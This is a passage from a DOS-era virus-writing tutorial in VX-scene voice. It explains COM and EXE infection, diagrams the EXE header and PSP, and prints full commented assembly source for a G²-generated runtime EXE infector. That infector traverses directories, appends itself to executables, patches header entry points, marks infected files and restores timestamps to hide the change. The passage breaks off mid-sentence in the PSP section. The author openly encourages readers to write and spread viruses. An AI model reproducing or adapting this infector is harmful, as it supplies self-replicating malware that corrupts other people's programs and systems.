;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; The first block of instruction restore the time and date of file stored in ; the DTA. And the second closes the file and the third one restore old attrs ; of the infected file. ; The last one put in AX the function FindNext of DOS, and jumps to search ; for more files to infect. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ signature db "[PS/Gý]",0 ; Phalcon/Skism Gý ( old!! ) COMmask db "*.COM",0 ; Must be ASCIIZ ( Ascii string,0 ) dot_dot db "..",0 ; Directory to change heap: ; this data goes in heap newDTA db 43 dup (?) ; DTA size, 2Bh origdir db 65 dup (?) ; Where to store old directory numinfect db ? ; Handles the number of infections readbuffer db 1ah dup (?) ; Buffer endheap: end carrier ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It's very simple all this, as you can see. And this code is FULLY commented. If you still don't understand this, don't change chapter, re-read all the COM infection!!!. But... a virus that only infect COMs... and runtime maybe would be cool 6 or 7 years ago, but nowadays it's horrible! Before spread a runtime virus now, i recommend you to wait some time. Some months could be enough in order to have a better knowledge of assembler language, and if you dedicate some time for improve your skills, you'll make a TSR COM/EXE infector with full stealth and nice tricks in some months more. ENUNS ÄÄÄÄÙ Well, the goddamn Win95 has a lot of COM files, interesting huh? They're so far the most used, but there's a problem. If we infect them normally, they hang :( The solution if to save the last seven bytes of the file at the end of the file, adding the virus size to the last two. Last words ÄÄÄÄÄÄÄÄÄÙ Don't hear the insults of another VXers about your first steps here, and your viruses. Sometimes some of this people ( they're few guys, ussually all people in the scene in very kind ) forget their first steps were like yours, believing theirselves god, as some AVers dickeads do. Pathetic. I'll stop talking about this suckers who forget their roots, and let's talk about the EXE infection. % EXE infection % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The first you must know is that the EXE infection is different than COM infection ( i think you're intelligent and you know this ;) ) The EXEs can be bigger in size, and they have a HEADER ( I think the most important part infecting EXEs is manipulate that header ) that contains some useful values for infection like the CS:IP ( stored in reverse order IP:CS ) ,SS:SP ( NOT stored in reverse order!!! ), File size in paragraphs and all other things. Here you have the header structure: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h ³ EXE file mark ( ZM or MZ ) ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0002h ³ Bytes in last page of image* ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h ³ Number of pages* ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0006h ³ Number of relocation items ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0008h ³ Size of the header in paragraphs ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ah ³ MinAlloc in paragraphs ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ch ³ MaxAlloc in paragraphs ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Eh ³ Initial SS* ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0010h ³ Initial SP* ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0012h ³ Negative checksum ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0014h ³ Initial IP* ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0016h ³ Initial CS* ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0018h ³ Relocations ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Ah ³ Overlays ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Ch ³ Reserved / Not used ³ Size : 1 DWORD? ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄ Total Size : VARIABLE! (*) The fields marked need to be modified at infection The EXE files can have more than one segment ( one for code, one for data and another for stack -> CS,DS,SS in order of appereance :) The EXE's header is generated by the linker. The user don't give a shit :) When DOS loads the EXE into memory, it looks like this: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄÂÄÄ ES = 0000h ³ Program Segment Prefix ( PSP ) ³ ÀÄÄ DS = 0000h ³ 100h bytes ( 256d ) ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ CS:IP ( pointed by header ) ³ ³ ³ Program Code Segment ( CS ) ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ Program Data Segment ( DS ) ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄÄÄÄ SS = 0000h ³ ³ ³ Program Stack Segment ( SS ) ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄ SS:SP ( pointed by header ) As you can see, in the EXE files there isn't the problem existing in COMs. For our stack needs ( PUSH and POP ) we have an entire segment! It still grows backwards ( from bottom to top ). Let's see da algorithm you must follow for yer EXE infector ( step by step ) 1. Open the file ( wow, genius! ) for read only 2. Read the first 1A bytes ( 26d ) 3. Store them in a variable 4. Close file 5. Check the first word for mark ( MZ, ZM ) 6. If it's equal, continue, if not goto 16 7. Check for previous infection 8. If ain't infected, continue, if it's already infected goto 17 9. Save actual CS:IP ( reverse -> IP:CS ) for EXE restoring 10. For the same purpose, save SS:SP ( this order ) 11. Calculate new CS:IP and SS:SP 12. Modify the bytes in the last page and the number of pages 13. Open again ( but in read/write mode ) 14. Write the header 15. Move file pointer to the end 16. Append the virus body 17. Close file Of course, you change some things to this, like open only one time for r/w mode. Beware of infected EXEs SP. SP ain't even in normal EXEs ( could be, but it'll trigger an heuristic flag! ). So, pay attention. I don't wanna bore you with more theorical shit, and remember that the best way to learn to code viruses is to see source codes of another viruses. And it's good to see what i've just explained you :) ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; I'll put code of my own when we arrive to more funny chapters. Until then, ; you must fuck you seeing code generated by Gý :) ; ; Assemble with: TASM /m3 lame.asm ; Link with: TLINK /t lame.obj ; Virus generated by Gý 0.70á ; Gý written by Dark Angel of Phalcon/Skism id = ';)' .model tiny .code org 0100h start: call next next: pop bp sub bp, offset next ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; This is the most common way to find the delta offset ( if you still don't ; know what is the delta offset, kill yourself ) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ push ds push es push cs pop es ; CS = ES push cs pop ds ; CS = ES = DS ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; This AIN'T a COM! Remember it. The EXEs are more powerful ( and a little ; bit more hard to infect ) When we execute an EXE, each segment is pointing ; to a different offset, so we need to adjust them. Remember we can't put ; something like " mov es,ds ", so there's a little trick to do this. Use the ; stack :) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ah, 001Ah ; Set DTA lea dx, [bp+offset newDTA] int 0021h mov ah, 0047h ; Get directory lea si, [bp+offset origdir+1] cwd ; Default drive int 0021h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; Do you remember our old friend, the DTA ? I hope da answer will be yes, coz ; it's not, re-read the full document, goddamit! ; And the second routine is also a well know one. This stuff is already seen. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ lea di, [bp+offset origCSIP2] lea si, [bp+offset origCSIP] movsw movsw movsw movsw mov byte ptr [bp+numinfect], 0000h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; Hey! Some new stuff! Well, the first block is for the later restore of the ; EXE guest file. I hope you know what MOVSW instruction does... Not? Grrr... ; I'm gonna explain you, but for another doubts... BUY AN ASSEMBLER BOOK!!! ; MOVSW moves a word from DS:SI to ES:DI ( MOVSB does the same but with a ; byte ) We make this because we have two double words. Wa can also put some- ; thing like MOV CX,4 and a REP MOVSW, or in a 386+, two MOVSD. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ traverse_loop: lea dx, [bp+offset EXEmask] call infect cmp [bp+numinfect], 0003h jae exit_traverse ; exit if enough infected mov ah, 003Bh ; CHDIR lea dx, [bp+offset dot_dot] ; go to previous dir int 0021h jnc traverse_loop ; loop if no error ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; It's a pain to explain routines already explained before... ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ exit_traverse: lea si, [bp+offset origdir] mov byte ptr [si], '\' mov ah, 003Bh ; restore directory xchg dx, si int 0021h pop es ; ES = DS pop ds mov dx, 0080h ; in the PSP mov ah, 001Ah ; restore DTA to default int 0021h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; Already explained in COM infection ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ restore_EXE: mov ax, ds add ax, 0010h add cs:[bp+word ptr origCSIP2+2], ax add ax, cs:[bp+word ptr origSPSS2] cli mov ss, ax mov sp, cs:[bp+word ptr origSPSS2+2] sti db 00EAh ; jmp far opcode origCSIP2 dd ? origSPSS2 dd ? origCSIP dd 0fff00000h origSPSS dd ? return: ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; This is the way used to restore the guest EXE. Take a look to the instruct- ; ions... Our objective is to restore old CS:IP ans SS:SP of the infected EXE ; Take note that we must deactivate interrupts before stack manipulation. ; After this, we jump to the original EXE code, and all will happen like ; there isn't any strange thing :) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect: mov cx, 0007h ; all files mov ah, 004Eh ; find first findfirstnext: int 0021h jc return lea dx, [bp+newDTA+30] mov ax, 4300h int 0021h jc return push cx push dx mov ax, 4301h ; clear file attributes push ax ; save for later use xor cx, cx int 0021h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; All this code seems to be equal to the COM infection. This is because it's ; the stuff that find EXE files, wipe the attributes and else ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov ax, 3D02h lea dx, [bp+newDTA+30] int 0021h xchg ax, bx mov ax, 5700h ; get file time/date int 0021h push cx push dx mov ah, 003Fh mov cx, 001Ah lea dx, [bp+offset readbuffer] int 0021h mov ax, 4202h xor cx, cx cwd int 0021h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; Hey, guy. All this above code was already seen in COM infection. But from ; here till the end, there'll be the cool stuff of EXE infection :) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ cmp word ptr [bp+offset readbuffer], 'ZM' jnz jmp_close checkEXE: cmp word ptr [bp+offset readbuffer+10h], id jnz skipp jmp_close: jmp close ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; The first block compares the first bytes of the opened file in order to ; search for the EXE signature ( MZ ). The author of Gý seems to have forgot- ; ten to add a comparison for ZM, tho. The second one check for previous ; infection. This virus is an old runtime one, and it's a rudimentary way to ; mark infected EXEcutables ( put two bytes as SP in the EXE header ) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ skipp: lea si, [bp+readbuffer+14h] lea di, [bp+origCSIP] movsw ; Save original CS and IP movsw sub si, 000Ah movsw ; Save original SS and SP movsw ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; For know that we are doing at this point, you must remember what MOVSW does ; ( Explained some lines above ). Ok ? Yeah, this restores CS:IP and SS:SP of ; the opened EXE. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ push bx ; save file handle mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs mov cl, 0004h shl bx, cl push dx ; Save file size on the push ax ; stack sub ax, bx ; File size - Header size sbb dx, 0000h ; DX:AX - BX -> DX:AX mov cx, 0010h div cx ; DX:AX/CX = AX Remainder DX mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment mov word ptr [bp+readbuffer+14h], dx ; IP Offset mov word ptr [bp+readbuffer+10h], id ; Initial SP mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; This piece of code seems to be very hard to understand. But it isn't. The ; first block read the value on readbuffer+8 ( Header size in paragraphs ). ; And then turn it into bytes. The second block puts the file size in stack. ; The third one substracts to the file size the header size. The fourth ; divides the number in AX by 10, and puts the remainder in DX. After this, ; we put the new SS, IP, SP and CS. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pop ax ; File length in DX:AX pop dx add ax, heap-start adc dx, 0000h mov cl, 0009h push ax shr ax, cl ror dx, cl stc adc dx, ax pop ax and ah, 0001h mov word ptr [bp+readbuffer+2], ax ; Fix-up the file size in mov word ptr [bp+readbuffer+4], dx ; the EXE header ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; Yeeeha! Some cool math operations! :) First we make is to restore the file ; size. Then we add to this the virus size. This huge block that make a lot ; of calcualations is used for calculate the infected file size in the header ; that is in 512 bytes form, rounded to up. Imagine if we have a 513 bytes ; file, then we have here a 2 and 1 as remainder. The last one writes the ; calculated information to the header ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pop bx ; restore file handle mov cx, heap-start lea dx, [bp+offset start] mov ah, 0040h ; concatenate virus int 0021h xor dx, dx mov ax, 4200h xor cx, cx int 0021h lea dx, [bp+offset readbuffer] mov cx, 001Ah mov ah, 0040h int 0021h inc [bp+numinfect] ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; We append the virus body, and then we move file ointer to the beginning. ; Now we write the new header, and increment the counter by 1. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ close: mov ax, 5701h ; restore file time/date pop dx pop cx int 0021h mov ah, 003Eh int 0021h pop ax ; restore file attributes pop dx ; get filename and pop cx ; attributes from stack int 0021h mov ah, 004Fh ; find next jmp findfirstnext ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Explanation: ; This routines are known by us. No ? See the COM infection, sucker! ;) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ signature db "[PS/Gý]",0 ; Phalcon/Skism Gý EXEmask db "*.EXE",0 dot_dot db "..",0 heap: newDTA db 43 dup (?) origdir db 65 dup (?) numinfect db ? readbuffer db 1ah dup (?) endheap: end start ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Too much for you ? Ok, i know but i have to say one thing. When you underst- and the concept of COM and EXE infection, your knowledge will grow as fast as the light speed :) Doesn't matter that viruses are obsolete runtime ones. The important is the concept. And if you understand this, you can make what- ever you want. We'll stop a little time. It's time to explain you some more useful theory. ÄÄÄ´ Useful Structures ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Now it's time to know one thing we had talked a lot, the PSP. % The PSP ( Program Segment Prefix ) % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Its structure look like this: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h ³ INT 20h ( CD 20 ) ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0002h ³ Pointer to the next segment ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h ³ Reserved ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0005h ³ Far call to INT 21h ³ Size : 5 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ah ³ Saved INT 22h vector ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Eh ³ Saved INT 23h vector ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0012h ³ Saved INT 24h vector ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0016h ³ Reserved ³ Size : 22 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +002Ch ³ Offset to Enviroment Segment ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +002Eh ³ Reserved ³ Size : 46 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +005Ch ³ First default FCB ³ Size : 16 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +006Ch ³ Second default FCB ³ Size : 16 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0080h ³ Command Tail and default DTA ³ Size : 180 BYTES ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄ Total Size : 256 BYTES Let's explain it step by step, because this structure is very important. þ Offset 0000h: The INT 20h is an obsolete method for terminate program. Nowadays we use function 4Ch of the INT 21h. þ Offset 0002h: Here goes the pointer to the next segment placed after our program. We can use it to know how much memory DOS have given to us ( substracting da offset pointed by it to the offset 0000 of our PSP ). It'll return to us the memory in paragraphs, so we have to multiply it by 16 to obtain the size in bytes. þ Offset 0005h: This is a preety curious way to call INT 21h. And, of course, we can use it to our purposes. The functions are in CL instead AH, and we can only use the functions below 24h. I'll explain more in TUNNELING chapter. þ Offset 000Ah: Here are stored the original vectors of INT 22h. The INT 22h is the one that receives the control when the program terminates its execution using this ways: - INT 20h - INT 27h - INT 21h ( Functions 00h, 31h, 4Ch ) þ Offset 000Eh: Here are stored the vectors of anothr int, the INT 23h. This int is the one that handles the CTRL+C key combination. þ Offset 